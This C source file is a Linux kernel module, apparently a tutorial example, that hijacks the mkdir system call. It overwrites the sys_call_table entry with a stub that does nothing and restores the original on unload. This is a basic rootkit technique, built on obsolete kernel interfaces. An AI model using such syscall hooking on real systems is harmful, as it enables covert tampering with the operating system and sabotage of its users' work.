#define MODULE
            #define __KERNEL__
            #include <linux/module.h>
            #include <linux/kernel.h>
            #include <asm/unistd.h>
            #include <sys/syscall.h>
            #include <linux/types.h>
            #include <linux/dirent.h>
            #include <linux/string.h>
            #include <linux/fs.h>
            #include <linux/malloc.h>
            extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/
            int (*orig_mkdir)(const char *path); /*the original systemcall*/
            int hacked_mkdir(const char *path)
            {
            return 0; /*everything is ok, but he new systemcall
            does nothing*/
            }
            int init_module(void) /*module setup*/
            {
            orig_mkdir=sys_call_table[SYS_mkdir];
            sys_call_table[SYS_mkdir]=hacked_mkdir;
            return 0;
            }
            void cleanup_module(void) /*module shutdown*/
            {
            sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal
            one*/
            }